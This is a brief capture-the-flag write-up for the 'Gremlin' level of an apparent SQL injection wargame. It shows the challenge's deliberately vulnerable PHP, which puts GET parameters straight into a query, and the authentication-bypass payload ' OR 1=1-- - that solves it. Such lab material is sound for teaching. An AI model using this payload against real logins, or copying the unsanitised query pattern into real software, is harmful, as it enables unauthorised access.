Gremlin

Simple Bypass

Code

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

Line 7: Query is set to obtain user-supplied input for both "id" and "pw" parameters.

Line 9: If the query result contains a non-empty "id", the challenge will be solved.

Query

SELECT id FROM prob_gremlin WHERE id='' AND pw=''

Testing

Vulnerable parameter is "id"

' OR 1=1-- - returns "GREMLIN Clear!", solving the challenge by providing a true statement while ignoring the "pw" parameter portion of the query.

Effective Query

SELECT id FROM prob_gremlin WHERE id='' OR 1=1-- -' and pw=''

Last updated